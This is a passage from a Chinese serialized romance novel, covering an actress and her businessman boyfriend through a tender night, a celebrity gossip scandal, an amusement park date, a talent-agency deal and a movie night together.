江遥一脸我就知道的表情，弯起的眼睛亮晶晶的，在明亮的灯光映照下，璀璨如昨。
可爱的，何止它呢。
她张了张嘴，想说算你有眼光，他轻轻捏了捏她的手，身子侧过来的动作仿佛慢放的电影，江遥被定格在老旧的时光机中，忘了挣脱
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。
温润的唇，贴上了她的眼睛。
跌跌撞撞地，两人又重新回到了卧房，“咚”地一声，是脑袋和床头碰撞发出的轻响。
江遥想伸手帮他去揉，却感觉到自己的双臂被死死压住。
原来，从前的他，都已经足够温柔。
床头柜上的小狗睁着无辜的眼睛，看着眼前的男女，不知餍足般，激烈交缠。
他小心地避开她的脖颈，纤细的腰肢仿佛要揉断在他的手中。房间里只开了一盏床头灯，半明半暗的光线，催得人恶向胆边生，江遥试探着伸手，轻轻撩起他下摆的一角，在那紧实的肌肉上戳了戳。程绪身子一紧，又更凶狠地撕咬着她的唇。
直到。胸前一松。
江遥身子一僵，程绪也完全忘了反应。两人同时呆住，又同时动作。
“对不起。”像是被潜藏的野兽咬了一口，他猛地抽回手。
江遥侧过身子，反手扣上被解开的搭扣，又伸手理了理衣摆。
程绪懊恼地低垂着头，白皙的皮肤上，泛着可疑的红色。她的手在视线里不停动来动去，他想伸手去够，又不太自然地往回缩了缩。
她踏着星夜归来，而他，回报给了她什么？程绪知道，是自己搞砸了。
气氛一时有点尴尬，等到心跳一点点平静下来，江遥一边戴着口罩，一边往外走。不用照镜子，她就知道现在自己状态堪忧。
程绪跟着她走到大门口，她弯腰换好鞋子，止住他跟着出门的动作，“你去睡吧，我自己下去。”
他低垂着眼睫，不知道在思量什么，闻言倏地抬起头，两人目光对在一起，又触电似的，弹了开来。
空气始终静默着，又似乎有电流，在两人周身奔流。
程绪静静地立在门口，握在身侧的手攥成了拳头，脸上的表情却格外平静。江遥不知他心内起伏，匆匆架上墨镜，转身去拉门。
手又被从后面拉住了，他身子跟着贴过来，还是那句：“对不起。”
江遥心里轻笑，这都什么跟什么。她咬咬唇，踮脚凑近他耳边。隔着口罩，本就不大的声音被削弱一层，飘飘渺渺，落在他耳中。
大门无声阖上，高大的男人正对着门口，默默站了许久。
江遥踩着点坐上车，边系着安全带，边向驾驶座的司机说抱歉。何为启动车子，言简意赅，“刚好。”
小鱼一个帖子还没刷完，见她上车，警惕地看了看四周，扫视一圈，又觉得是自己紧张过度。能住这里的人，谁家还没点八卦秘闻，就这安保措施，估计连只蚊子都飞不进。
“怎么了？”见她这幅表情，江遥笑问。
“之前情人节不都有人被拍吗，我这不是害怕咱们被人拿来冲KPI了。”以前那些绯闻就算了，都是些捕风捉影的传闻，这要是被拍到，说不定得引发怎样的地震。
她幽幽瞥了江遥一眼，没想到清净了这么多年，一来就来个这样重量级别的，就是有时候做梦，她都能梦到被粉丝扔臭鸡蛋呢。不过别说，这两人眼光还真不错。
78. 自爆
闹钟响的时候，江遥刚睡下不到两个小时。
空荡的房间门口，高大的男人静静站在那儿，脑袋耷拉着，看起来颇为沮丧。她直觉这应该是个熟人，却怎么也想不起是谁有这样的神情。正疑惑，门口的男人抬起了头，可怜兮兮的表情，像是她送出的那个毛绒玩偶。
江遥心内一个激灵，直接从梦中惊醒。旁边的小鱼还睡得正香，她按掉闹钟，起身下床。
化妆间里，化妆师退了两步，在她脸上仔细端详，看是否还有什么需要修补的地方。高靖媛从外进来，在另一张椅子上坐下，随口问道：“你昨晚几点回来的，来这么早？”
“在路上睡了会儿。”江遥回头对她笑笑，顶着一张蜡黄的脸，神情里却看不出丝毫疲惫。
江遥的皮肤很白，化妆师用暗了几个色调的粉底来遮盖，才将原本的光芒稍微压下去一点。
高靖媛闭着眼睛，任化妆师在自己脸上左涂右抹，语气里带着点钦佩，“你这一天来回也太折腾了。”
然而当事人看起来并不觉得，甚至还有精力提醒她，“是谁半天假都非要出去觅食的？”
高靖媛瞥了眼眼前的化妆师，动了动唇，反驳道：“那怎么能一样。”吃喝玩乐和上班，差远了好嘛。
小鱼正好推门进来，笑着接道：“差不多的。”还不都是精神食粮。
几个月共事下来，高静媛就没从她口中听过一个累字，闻言也没再多说，转而问起她接下来的安排。
《春声》杀青在即，在名导的剧组滚过一轮，不管是圈内人士还是吃瓜大众，对江遥的前景又有了新的审视，工作邀约雪片似的飞来。
“今年电影反响不错，但你的老本行也不能落下，市场就只有这么大，你不要就会被别人填补上。”Susie筛过一轮，挑了两部剧和一部电影给到她。
“嗯，我空了再看。”江遥笑着哄走Susie，这会儿也只能跟高静媛说，下部戏还没有定。高静媛摇摇头，也表示自己一定要睡个够本再开工。
两人交谈的声音不大，以至于小鱼突然冒出的那句国骂，瞬间吸走了全部人的目光。小鱼接住没拿稳的手机，意识到自己有点反应过大，稍微收了收脸上的表情，告诉大家：“有人被拍了。”
高靖媛脸上一喜，嗅到了八卦的味道，她看热闹不嫌事大，掏出手机直奔热搜榜。
小鱼将手机递给江遥，江遥神情一顿，跟她交换了个眼神，一旁的化妆师也跟着凑过来，“谁啊谁啊。”
每年情人节都有狗仔冲KPI，有的无良媒体甚至会早早放出风声，用流量大的人来博眼球，最后爆出来的瓜，有时候连主角的名字都没几个人知道。吃瓜群众们被溜到麻木，但还是忍不住一次次指望他们能爆个大的。可惜，大瓜总是来得悄无声息。
这不，化妆师看清屏幕上的内容，瞬间觉得前一秒兴致勃勃的自己活像个小丑，她失望地移开眼睛，满不在乎“啧”了一声，“她啊。”
出道这么多年，方琦一直徘徊在二三线，跟势头正好的花旦们相比，甚至都不算真正大红过。从专业角度来讲，她的脸其实长得还不错，但在美人如云的娱乐圈，就不够看的了。而且，就那能戳死人的下巴，亏她还敢说没有科技加工。
营销号只拍到了方琦的正脸，她手上挽着的男人，一直站在阴影处，看不清表情，不过如果图片没P过，身材看起来还行。
高靖媛翻了翻评论，和动辄哭天抢地打落牙齿和血吞的场面不同，网友笑着总结：
「散了吧散了吧，基本无人伤亡。」
「也是到谈恋爱到年纪了，是真的就祝福。」
她不动声色看了江遥一眼，收了手机，语意不明，“寰宇是真不怕水浑。”
晚上回到房间，小鱼还心有余悸，压低了声音，生怕酒店房间不隔音，“方琦那发型和昨晚一模一样，应该是从晚宴离开后被拍了。”
江遥正回复程绪信息，闻言“嗯”了一声。
“我们昨天应该没被跟吧，我路上都注意过，何为开车也是很小心的。”小鱼自觉没有什么遗漏，但到底又有点不放心，不确定地问道：“要不要跟Susie姐说说？”到现在，自家经纪人都还不知道这段恋情，万一出点什么纰漏，搁江遥身上，可不会像方琦这样轻轻揭过。
江遥见她坐立难安的样子，笑了笑，“不是说词条已经没了吗？”
“是啊，被他们团队炸了。”小鱼两手一摊。虽然本来就没太多人关注，方琦的公关团队还是第一时间下手，和她恋情相关的关键词现在都直接无法显示。
江遥低着头，手指在键盘上敲击着，反问说：“你怎么知道是她团队出的手。”
小鱼一时没有反应过来，脱口而出，“不然还能是谁？”
过了片刻，她回过味来，“你是说……另一个当事人么？等等……”她站起来，在房间里绕了两圈，“如果是这男的出手，那估计来头也不小。”说到这里，她又绕回江遥面前，声音激动：“这难道是她自爆的？”
她越说越觉得是这么回事，不然，就寰宇这公关，怎么允许这么高清的正脸照流出。
江遥没有再接话，耸耸肩，越过她去阳台收衣服准备洗澡。夜风吹在窗台，晾晒的衣服跟着左右轻晃，满天星斗，跟室内的她遥遥相望。
“或许你说得对。”她望着窗外的夜色，缓缓开口道。
小鱼闻声抬头，以为她是赞同自己的猜测，江遥却没有看她，声音还是一贯的轻柔，“确实应该跟Susie说一声了。”
小鱼卡了两秒，才反应过来她在说什么，急忙追问：“现在吗？”
江遥“唔”了声，收好衣服往浴室走，想了想又说：“等我回去当面告诉她吧。”
浴室门在眼前关上，“咔哒”一声响，小鱼的心也跟着“咯噔”一声。明明是自己的提议，这走向难道不是正合预期。
九月即将来临的时候，《春声》正式杀青。江遥飞回A城。
进组的时候两个行李箱装得满满当当，待了几个月，不知不觉，各类用品都添置了一些，小鱼帮忙推着行李箱上楼，刘阿姨热情地拿来拖鞋。
“谢谢。”她换下鞋子起身，灰色的沙发上，摆着两个毛绒绒的抱枕，
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一看就是江遥的画风。
刘阿姨倒来茶水，江遥拉着小鱼在沙发上坐下，邀请她吃完饭再走。小鱼捧着杯子飞快摇头，江遥知道她在担心什么，哭笑不得，“他晚上才回。”
身上的封印一瞬间解除，小鱼直起腰杆，在房间四处转了转。上次碍于程绪在家，她都没有放开手脚好好参观。
她边看边“啧啧”感叹，“资本家就是不一样。”说完又往厨房看了眼，小声问道：“真不会突然回来吧？”
“千真万确。”忽视掉心底那点阴霾，江遥笑着点点头。一转身，一抹亮色撞入眼底。
“哇。”小鱼也注意到了餐桌上摆放的花瓶，踩着拖鞋凑上前，问：“你什么时候还种上花了？”
江遥都不知道自己还有这技能，刘阿姨在厨房听到声音，笑着解释：“程先生朋友送来的，我看着不错，挑了几朵插上了。”
被她一提醒，江遥想起来，是有这么回事儿。周颂前些天新开了个店，专门买了很多花来点缀，据说给亲朋好友也送了好些，程绪问过她要不要留几盆。
她记得自己明明是拒绝了的，不会养留着也是糟蹋，不知道他怎么还是带回了家。
刘阿姨指了指阳台，说：“外面还种了几株，这几天都要开了。”
江遥转身往阳台走去，进组之前还略显空荡的空间，现在已经自成一个小世界。最早入驻的绿萝，已经郁郁葱葱开了一大盆，衬得一旁的仙人掌，看起来分外娇小。
另一边的空间，则被几个花盆占据。鲜艳的花瓣从翠绿的枝叶中伸展而出，还有含着苞儿的花骨朵，将开未开，在阳台一角，隔出一片旖旎多情的图景。微风拂动，花香袭人。
日光铺撒在窗台，照得粉嫩的花瓣更加透亮，花儿们尽情舒展着身姿，接收阳光的滋养。呼吸间，满是花香。
人美花娇，小鱼忍不住掏出手机拍了几张，照片中，女人脸上挂着柔和的笑意，温宁而惬意。可惜现在的网友都堪比福尔摩斯，一点小细节就能把人扒个底朝天。她轻叹一口气，收起手机，估计很长一段时间里，这组照片都只能留着自己欣赏了。
搬家的时候很多行李都没有带过来，江遥住了没多久就进了组，也没来得及添置什么新东西，两人将行李箱的衣物一件件收拾出来后，衣帽间还是空荡荡的空出一大片。
小鱼看着收拾好的衣橱，拍了拍手，跟江遥说：“明天我去公寓帮你把秋冬的衣服整理一下带过来。”
江遥想了想道：“过几天一起去吧。”
几个月前，也是在这个房间，主人的心境似乎有了未知的转变。小鱼无心深究，只答应着：“行，那等你方便了告诉我。”
两人坐在沙发上聊了会儿天，电视机里，又在重播一部经典古装大戏。已经是多年前的老剧了，每年都还能吸到新观众入场，身旁的小鱼看得一脸认真，在高高低低的背景音里，江遥想起Susie再接一部古装剧的提议。
一个追剧一个发呆，一下午很快过去，片尾曲响起的时候，小鱼看了眼时间，匆匆背了包要走，生怕一不小心，撞到某个不近人情的家伙。
79. 礼尚往来
江遥将她送到门口，又坐回沙发上，拿起遥控换了个台。
时间一点点流逝，桌面上的手机，仍然悄无声息。
杨越看了眼电脑右上角的时间，视线又不自觉地瞥向对面，心里忍不住犯嘀，不是说今天全组杀青么，难道自己的消息有误。
明明这人从月中开始就一副忙着赶进度我要休假了的做派，这几天突然又慢下了步调，一点也不着急的样子，仿佛之前的一切，都是自己闲着没事引发的错觉。
今天江小姐杀青，老板不去接就算了，怎么下班都已经快半小时还坚守在办公室。亏他还特意约了朋友出去放松，人家都快到了，自己还搁这儿当门神。
不对劲，是真有点不对劲。他摸着下巴，忍不住开始替老板的感情状况担心。但要说感情出问题也不至于吧，据他所知，月底那会儿还去探班来着。不过就这木头人似的脾气，估计哄女孩子也吃力。
他叹了口气，抄起桌上一份文件，打算去舍身打探下消息，刚刚走到门口，办公室门从里面打开，程绪看着堵在门前的人，皱皱眉问：“怎么还不下班？”
男人脸上还是顶着那副表情，看不出什么失恋的阴影，杨越偷偷舒了一口气，把文件往身后藏了藏，退到一旁，笑道：“就走了。”
程绪也没理他在搞什么小动作，径直走进电梯，拿出手机回复江遥。
——摇啊摇：「要等你吃饭吗？」
——C：「在路上了。」
好在今天A城的路况比较给力，一样的距离，比往常还早到了几分钟。
程绪推开门，就看到不远处的沙发上坐了个人，江遥应该是洗过了澡，穿着一身睡衣窝在沙发上，抱着抱枕，不知道在跟谁打电话。半湿的头发披散在肩头，比几个月前，又长长了许多。
“那我要吃小龙虾。”不知道对面说了什么，她一副理所当然的样子，语气里带着浓浓的亲昵，压根没听到门口的动静。
程绪故意加重脚步，朝沙发走去，江遥闻声抬头，看清是他，扬起笑脸，无声招呼道：“回来啦？”
程绪洗了手到她身旁坐下，江遥往里挪了挪位置，拉着他的手，继续听汪静静在那边说起接下来的规划。
两人又是许久未见，最近行程对得上，便约了碰面，顺便补上江遥的生日大餐。
“嗯行，那具体的到时候再说。”江遥挂了电话，情绪一时还没切换过来，还是甜腻腻的音调，听起来像是在撒娇，“怎么这么晚。”
明明前一秒还在和朋友亲亲热热地唠嗑，这么一问，反倒像是久盼情人归来的女子，藏着满腹爱意和心事。
“呃。”程绪瞬间卡了壳，又觉得自己简直罪大恶极。他嘴巴几度开合，最终也没有找到合适的说辞，最后只是捏了捏她的手，声音低下来，轻声哄道：“去吃饭，嗯？”
江遥点点头，跟着他往餐桌走。程绪替她拉开椅子，江遥坐在凳子上，看他拿着勺子，安静地盛好两个人的饭。他身上还穿着工作时的衬衫，袖子往上挽了几节，露出劲瘦有力的小臂。她在一旁提醒道：“我下午才吃过，一点点就好了。”
“嗯，多的给我。”程绪将自己的碗挪过去，任她将碗中的米饭拨过来一些。
“你明天是不是也要忙？”江遥吃了几口，就放下了筷子，想说如果他忙，那明天就约小鱼一起回公寓收拾下东西。
程绪却误解了意思，又给她舀了一小碗汤，她伸手接过，低头一口口喝着。乌黑的发顶，让人忍不住想伸手揉一揉。
在一碗汤见底的时候，他开口问：“有什么想去的地方吗？或者想做的事？”
“都还好吧。”江遥挑挑眉，“你别跟我说，这就是补给我的礼物。”
情人节当晚匆匆来回，江遥也是第二天才想起来，问他有没有给自己准备礼物。程绪当时是说，“已经准备好了，时间太急没来得及拿给你，等你回来就知道了。”
但是她下午将房间收拾了一圈，也没看到半点礼物的影子。而且谁家送礼物直接问的，说好的惊喜呢。江遥不满地哼了哼，程绪顿了顿，“当然不是。”
“那好吧。”江遥顺着他的思路认真想了想，想去的地方基本都已经去过，“小时候还挺喜欢去游乐园的，后来长大了，就不方便去了。”其实后来几年，少了围观的人群，也没人再有心力在乎她，在哪个公众场所出现，只是那几年里，忙着前行的时候，她的童心，似乎也被搁置在了某个角落中，落满灰尘。
此时再想起，江遥眼睛亮晶晶的：“我们要去游乐园吗？”
“你想去吗？”
她肯定地点点头：“想的。”说完又道，“但是……”
但是什么呢？公众人物不方便出现在公众场所，还是不想冒着风险跟他一起出现在人群面前？
他目光幽深，语气里写满郑重：“放心，交给我。”
“嗯嗯。”江遥自然知道，他不会让她暴露于危险，只是，“我明天和小鱼约好了。”
她觑了程绪一眼，后者脸上神情不明，她努力睁大眼睛，摆出无辜的表情，盯着他，轻声问：“后天好不好？”
那双清亮的眼睛，因为她努力睁着的动作，渐渐染上雾气蒙蒙，配合上她有意讨好的表情，看起来娇媚而多情，望来的视线里满是专注，漆黑的瞳仁里，唯映着他一人。程绪清了清嗓子，拉开椅子起身，不过到底给她留下了一个“嗯。”
江遥在身后偷偷绽开一个笑，给小鱼发信息，约好碰面的时间。
几个月没回来，屋子里已经染上了一层薄尘，小鱼在一旁指挥着钟点工清理卫生，江遥将秋冬的衣服打包放进行李箱中。本来她的东西就不算太多，又塞满一个箱子后，房间里倒真的看起来冷清了许多。
两人锁好门下楼，碰到相熟的物业小哥。小哥应该是看到他们上楼，看起来是特意等在门口，江遥的脸藏在口罩后，听着小鱼和小哥站在一旁寒暄了几句。
其实自上次事件发生以来，小区安保又进行了调整和升级，物业小哥一脸愧疚的样子，再次跟他们道歉，最后拿出一个盒子递过来，“前阵子收到的快递，一直给您收着呢，希望没有耽误事儿。”
江遥柔声道谢，小鱼伸手接过，不大的盒子，掂起来也没什么重量。为免又出意外，车上，小鱼直接拆开包装，揭开层层包裹，露出正中的一只杯子。
“
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啊？我没有买过吧。”江遥看着她手上捧着的杯子，哑光的色泽，杯身绘着动物的图案，毫无印象，但确实是她会中意的样子。小鱼提醒道，“前阵子不是生日么，说不定哪个朋友寄的礼物。”
最新的地址除了小鱼现在压根就没人知道，汪静静想寄东西都被她阻止了，说好了回来再补上，宴池向来都是红包解决，其他朋友，确实还没有通知到位。
江遥将杯子装进包装盒，又小心收进脚边的袋子里。
程绪回来的时候，江遥已经早早将自己收拾好，甚至挑好了第二天要穿的行头。
看着他那一丝不苟扣起来的领口，她忍不住出声，“别告诉我你明天穿这个。”
程绪疑惑，甚至还带着点无辜，“不行吗？”
行，当然行。只是商业味儿有点过浓。
还好她早有先见之明，伸手指了指沙发上的袋子，“去试试这个。”
“哦。”她脸上的神情看起来颇为严峻，程绪提着袋子回房。
白色T恤，运动裤，球鞋。他一一换上，穿衣镜中，显出一个全然陌生的人。
“怎么样，能穿吗？”江遥敲了敲门。
房门没有关严实，她伸头进去，没看到人，再次提高声音询问：“我可以进来吗？”
江遥的声音隐约传来，程绪扯了扯领口，回头喊道：“进。”
衣帽间里，站着一个身姿挺拔的男人。简单的衣服款式，衬得他愈发清峻。少有表情的脸上，透着丝微微不自然，随着她走近，他又扯了扯身上的衣服，抬着眼睛看她，眼睫扑闪扑闪，似小鹿般纯良。
见惯了他深色系的穿搭，这么一穿，看起来倒像是青葱的少年郎。怪不得古代的掌权者喜欢给宠爱的女子赏赐衣裳，看着哪哪都符合自己喜好的美人，成就感确实会油然而生。
江遥围着他转了两圈，拍手定下，“就这样。”
抬头的瞬间，却差点被衣橱中五彩斑斓的颜色晃花了眼。
程绪的衣帽间很大，他自己的衣服占据了半壁江山，另外半边，现在却被各种鲜亮的女性衣饰填满。好似明媚的阳光穿过阒寂的山谷，整个空间，都染上活泼的色泽。
江遥如有所感，下一刻，果然听到他微微懊恼的声音响起，“礼物。”
看这模样，似乎是不准备现在给她的啊。江遥才不管那么多，上前大方欣赏起来。
衣服帽子包包各占据一角，将他的衣帽间填充得满满当当，有出街的基础款穿搭，也有隆重的礼裙，有大牌的经典和新款，也有独立设计师的创作，更有甚者，连logo都没有。他的审美，其实很不错。
江遥语气里透着显而易见的欣喜，“什么时候准备的？”
程绪看着她的模样，也勾了勾唇角，“有一阵子了。”
她埋头在他怀里蹭了蹭，怎么一瞬间，被赏赐的美人就调转了身份。她努力敛起面容，绷着脸警告他：“有钱也不是让你这么乱花的。”
程绪笑了下，装作为难的样子说：“要不工资卡交给你保管？”
江遥抬脚轻轻踢了他一下，程绪又把她拉回来，垂着头跟她打商量，“或者，你也可以礼尚往来。”
80. 乐园
江遥仰着头，看他放松神色，跟自己打趣，唇角噙着一抹淡淡的笑弧。
这是一个很好亲吻的角度。
她微微踮脚，看到他的眼里，也藏着浅淡的笑意。两唇相碰，没有人再去管满屋的衣裳，这个吻异常柔和，江遥闭着眼睛，感觉周身冒起粉色的泡泡。
次日，江遥一身粉色裙子，头上顶着个蝴蝶结发箍，跟程绪牵着手出门。
白衣黑裤，蓬松的头发，看起来异常乖顺，面对这样画风突变的老板，老王差点没敢认。
游乐园下午清场，两人戴着口罩，从VIP通道快速通过。
江遥的胆子不算大，但也绝不算小，游乐园的大部分设施，她都跃跃欲试。从旋转木马玩到跳楼机，身上出了一层薄汗，精神却越来越亢奋。
整个乐园面积很大，逛到最后，腿感觉已经不是自己的了。程绪带着她找了条长凳坐下，江遥不肯，“摩天轮还没坐呢。”
“你先休息会儿。”他指着不远处的甜品店，“有什么想吃的吗？”
“一块芝士蛋糕。”看到甜品，江遥很好说话。
“嗯行，你在这儿等我一下。”程绪转身，朝甜品站走去。身高腿长，步子迈得很大，几步就来到了甜品站门口。
店内的姑娘正等得无聊，就见一个清爽的男人站到了面前，脸上戴着口罩，却挡不住那优越的身形。
游乐园人来人往，她自认已经处变不惊，此时还是愣了一下，才掐着嗓子露出笑容：“请问需要点什么？”
“一块芝士蛋糕。”清冷的嗓音落在耳里，她心里猛地一跳，原来，声音也是真绝色。她飞快瞥了眼身前的男人，男人低头看着菜单，明明是青春的装扮，整个人却带着丝冷峻的气场，她正想细看，就听他已经选好，“再要一杯招牌奶茶，微冰，七分糖。”
男人拿好东西离开，她视线不自觉跟着移过去，只见不远处的长凳上，一个满身粉嫩的女孩等在那儿，见他过来，起身迎了两步。
男人撕开吸管的包装，插好，将奶茶递给她，女孩捧着奶茶，又朝一旁的男人说了什么。刚刚还冷清无比的男人，又打开蛋糕盒，挖了一勺，喂到她嘴边。女孩四下看了眼，飞快叼走他手上的蛋糕。站在她的视角，看不清女孩的面容，只有那皮肤，隔着那么远，还莹白剔透，亮得晃人。
摩天轮缓缓转动，整个城市的夜景尽收眼底。江遥看着递到眼前的蛋糕，摇摇头，“吃不下了。”程绪收回手，很自觉地解决掉剩下的食物。
曾经和许多人做过来游乐园的约定，没想到最后坐在一起的，是一个看起来很不合时宜的男人。
摩天轮升至最高点，江遥看着远处的夜景，璀璨的灯火落在身后，商场的霓虹、写字楼长明的灯火，亦或者是家中，那盏默默守候的夜灯，交织出人间烟火。她握紧身边人的手，在这城市的高处，享有内心的安宁。
接下来，程绪又开启了忙碌模式，江遥找了个时间和Susie见面。
工作室的成员难得聚齐，几人找了个包间，小鱼和新加入的宣传妹妹凑在一起讨论着下一场去哪里。
Susie和江遥坐在另一边，跟她说起自己想了许久的打算，“工作室目前的配置，完全跟不上你以后的发展。我们不如挂靠大公司，他们的公关能力和可调动的资源，和个人工作室不是一个量级，借助他们的资源和人脉，比我们单打独斗，只会走得更稳更快。”
江遥没有说好也没有说不好，Susie软下声音，继续说：“遥遥，我知道你解约是想不受束缚，不想追梦的过程里，掺杂太多的无奈和利益。但……”
听到这里，江遥笑了笑，“姐，我没那么理想主义。”以她对Susie的了解，应该是有合适的合作方，才会跟她提起，她单刀直入，“哪家公司？”
“轻音娱乐。”
江遥怔了怔，很久远的名字了。
她入行后的大半时间，都在那里度过，离开后，也没再特意关注。之前隐约有听说，轻音娱乐易了主，没想到，兜兜转转，它又再次被提上讨论桌。
其实，Susie想要挂靠大公司的想法由来已久，但综合评估后，总没有挑到合适江遥的那个。轻音娱乐本来没有被纳入考虑范围，这次，是那边主动伸来的橄榄枝。
“大家都说轻音娱乐背后，是B市的资本在操纵，他们为显诚意，给我透露了一个内幕消息。这家公司现在背后站着的人，姓宋。我利用自己的人脉打听过，B市的宋家大少，未婚妻叫孟棠。”
江遥眼皮一跳，看向Susie，Susie还在往下说着：“孟棠这么多年圈内地位稳如磐石，能和宋家联姻，背后的资本同样不容小觑。”
“最重要的是，他们给了我们工作室最大限度的自由。”她从包里拿出一沓文件，递给江遥，“遥遥，我建议你考虑一下。”
回去的路上，江遥仔细看过合同条款，阖上文件，“我过两天给你答复。”
没有一口回绝就是有戏，Susie松了一口气，下一秒，又被江遥一句话把心高高提起。
“你说什么？”她怀疑自己听错，找了个路边停车。
副驾上，江遥老老实实端坐着，再次重复，“我恋爱了。”
“圈内的？”
“嗯。”
“多久了？”
江遥对了对手指，含糊道：“有一阵了。”
见她这样，Susie还有什么不明白的，难得碰到个中意的人，她也不忍心说什么重话，只交代她：“两人没事少在公众场所晃，出门记得多留个心，真出事了舆论总归是偏向男人。”
“嗯，我知道。”江遥应得乖巧。
摆在腿上的手机震了下，江遥解锁，脸上瞬间挂满了笑，她直起身子，跟Susie说：“在前面把我放下吧。”
Susie踩下刹车，江遥拎着包，走向不远处停着一辆黑色的轿车。
“你今天怎么有空来接我？”她语气兴奋，眼睛亮晶晶地望着他。
程绪侧身过来，帮她拉好安全带系上，“今天会议结束的早。”回到家，只有一片漆黑的寂静。她还没有回家。
像是一个乍见光明的人，又重归无望的黑暗中，他知道，或许不久后，江遥重新进组，自己又得开始新一轮的适应。但至少此
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刻，他愿意贪念这有人相伴的片刻。
程绪专注地开着车，江遥看着他的侧脸，这个人，仿佛干什么都透着认真，不管是拍戏、开公司，或者，和一个人陷入恋爱中。
打了几轮腹稿，她还是放弃措辞，直接问道：“轻音娱乐幕后是不是有你的参与？”她见过当初那苛刻的合同条款，轻音娱乐自然不会突然开始做慈善。
程绪没有料到会在这时面对这个问题，但也没有拐弯抹角，“嗯。”
江遥仿佛单纯只是想知道个答案，没有再就着这个话题往下说。
没让Susie等太久，江遥在次日直接给了肯定的答复，同时定下来的，还有下一个组。仔细看过Susie留下的几个本子后，她还是推掉了那两部电视剧，原因无它，和以往角色重复度太高了。
最近加班工资赚了个够，老板终于又恢复了正常的节奏。就说好好的女朋友在家，不是紧急的事儿非要加班处理干嘛，害他跟着在一边提心吊胆，简直是旱的旱死涝的涝死。目送程绪走近电梯，杨越彻底放下悬着的心，心无旁骛地奔赴这个月第八场相亲。
在组里的时候，江遥本身工作也很忙碌，休息的时间，才更直观地意识到，程绪的生活节奏也没有停下来的时候。他似乎习惯了高速运转，见不得自己放缓脚步。
忙了几天后，公司的事情好歹没有再往家里带了。但就算没有工作，他也会自己捧着一些书在读。她偷偷瞥了几眼，不是些英文原著就是些晦涩难懂的大部头。而且很神奇的是，周边环境打搅不了他的专注。
电视的声音开得很大，江遥捧着水杯坐在沙发上，程绪坐在一旁，低头翻阅着手上的杂志。
找了许久也没有中意的节目，她握着遥控器，转移目标，“你这样会显得我很不学无术。”
“怎么会，术业有专攻，你看电视也是学习的一种。”程绪头也不抬地说。
江遥默了默，很怀疑他这句话的可信度。屏幕里，男演员顶着通红的双眼，一看就是眼药水滴多了，正用力摇晃着女演员的胳膊，大声嘶吼着，女演员被晃得头直扭，像一个没有缝合完整的破布偶。
江遥以手扶额，这么浮夸的表演，不知道导演当初是怎么拍板通过的。怪不得越来越多的人说现在的影视剧辣眼睛，俗套的剧本，不忍直视的演技，很难不变成资本的游戏。不过引以为戒，姑且也算是一种学习。
她也没了再看的兴趣，按下关机键。嘈杂的声音一瞬间消失，程绪从杂志里抬起头，“怎么了？”
“没意思。”江遥把遥控器往沙发上一丢，捧着杯子去厨房倒了杯水。彩绘的图案，蕴藏着满满的生机，看得人心情不自觉跟着上扬。
她倒了水出来，直接进了影音室。刚刚挑好片子，程绪也推门进来。
灯光暗下，片头曲开始播放，她选的是一部经典的文艺片，网络评分很高，也是许多人推荐的佳作。但也许是缺了点缘分，江遥几次打开，都没有看到最后。
她在宽大的沙发上坐下，用毯子将露在外面的脚趾严严实实围拢。在等片头曲放完的间隙里，她抬头跟程绪说：“我过几天就进组。”
81. 牙酸
程绪似乎并不意外，“去多久？”
“这次是一部商业片，拍摄周期应该很快。”不过具体时间还得看现场进度。
导演拍了几部商业大片，票房成绩稳中居上，Susie选中他的原因很简单，“电影路只能一步步走，票房和口碑，总得有个保底的。”所以这部戏，就是她为江遥挑出来的保底选项。
不过，在看到第三场吻戏后，江遥开始怀疑，一个商业片导演，衷情的人生电影怎会是这个。那胡子拉碴的脸下，也不知道藏起了多少铁汉柔情。
但现在不是她探究这个问题的时候。在她进组后，程绪应该是又将影音室重新装修过，宽大的沙发，巨大的屏幕，以及那堪比私人影院的收音效果，在此刻，都是让她坐立难安的罪魁祸首。
大屏幕里，啧啧的水声已经响了快一分钟，或许也只有十几秒，江遥木着一张脸，听那唾液交换控制不住发出的轻响，经由收音设备，无限放大。她的手还攥在程绪的手心，不知道是尴尬还是羞赧，黑暗的环境放大了她的所思所想，她感觉到自己手心的温度，正一点点升高，在开着冷气的房间，掌心泛起潮湿的热。
怎么偏偏选了这部片子呢。她后知后觉地想，就这部影片的流传程度，很难不让人觉得，是她精心挑选的“巧合”。毕竟半小时前，她拉着他在身旁落座，说的理由就是“陪我学习会儿”。
其实没有什么的，她跟自己说，吻戏怎么就不能学习了？有学习才有进步嘛，看他，不也是在实践中积攒出来的经验，两个人才能越来越和谐。就说真正拍戏时，谁也不想被口水糊一脸。所以，处变不惊的吻戏，也是一名成熟演员必备的心理素质。
电影的主人公终于放弃了原始的肢体接触，女主趴在男主胸口，开始了新一轮的海誓山盟。江遥悄悄呼了口气，还是维持之前的姿势，用眼角余光不经意地扫了程绪一眼。
他仿佛并没有察觉她的僵硬，挺翘的鼻子，微微抿着的嘴唇，眼睛盯着前方，看得认真，卷翘的睫毛在眼底落下阴影。
江遥跟着抿了抿唇，喉咙深处，像是干渴已久，急需水分填充。她手往前伸，去端放在桌上的杯子，凑到唇边，才发现是空的。
她掀开盖在腿上的毯子，正想起身，程绪伸手从她手中拿走水杯，施施然出了门。
大概十多分钟后，程绪才重新回来。江遥接过杯子，埋头“咕咚咕咚”喝了好几口，心里的渴，才得到稍稍缓解。借着放杯子的动作，离程绪微微坐远了一些。半昏半暗的环境，掩盖了她的那点不自在。天知道，在他离开的时间里，她又一个人观摩了一场激情四射的吻戏。
不愧是被人交口称赞的经典，导演的叙事节奏、拍摄手法确实可圈可点，欲也成为他们证明彼此存在的方式，蓬勃而唯美。
好在之后的走向都很正常，江遥渐渐沉浸入剧情中，身子又不自觉朝他靠拢。枕着他的肩膀，拿他当枕头用。
在一场离别戏时，那隐隐不妙的预感又来了。导演很快印证了她的猜测，在激烈的冲突里，还是选择了简单直接的处理方式。
江遥彻底僵住，眼见着剧中人的冲突不断升级，感觉自己摆在他肩膀上的脑袋，怎么放怎么别扭。她小心地挪了挪身子，又怕自己的动作，惊动了什么，小心地抬头觑了觑他的脸色。
她不知道自己的视力什么时候变得这么好，半昏半暗的光源下，甚至能看清他下巴上微微冒出的半截胡茬，他绷着脸不说话，这火热的环境里，似乎只有她一人在挣扎。
为什么，不能一起沉入呢。纤柔的手指试探着抚摸上他的下巴，程绪终于垂眼看她。房内的灯光全部熄灭，只有屏幕里的光影，映照着这一方空间。故事外的人，在这一秒，和故事中的人形成了某种共鸣。
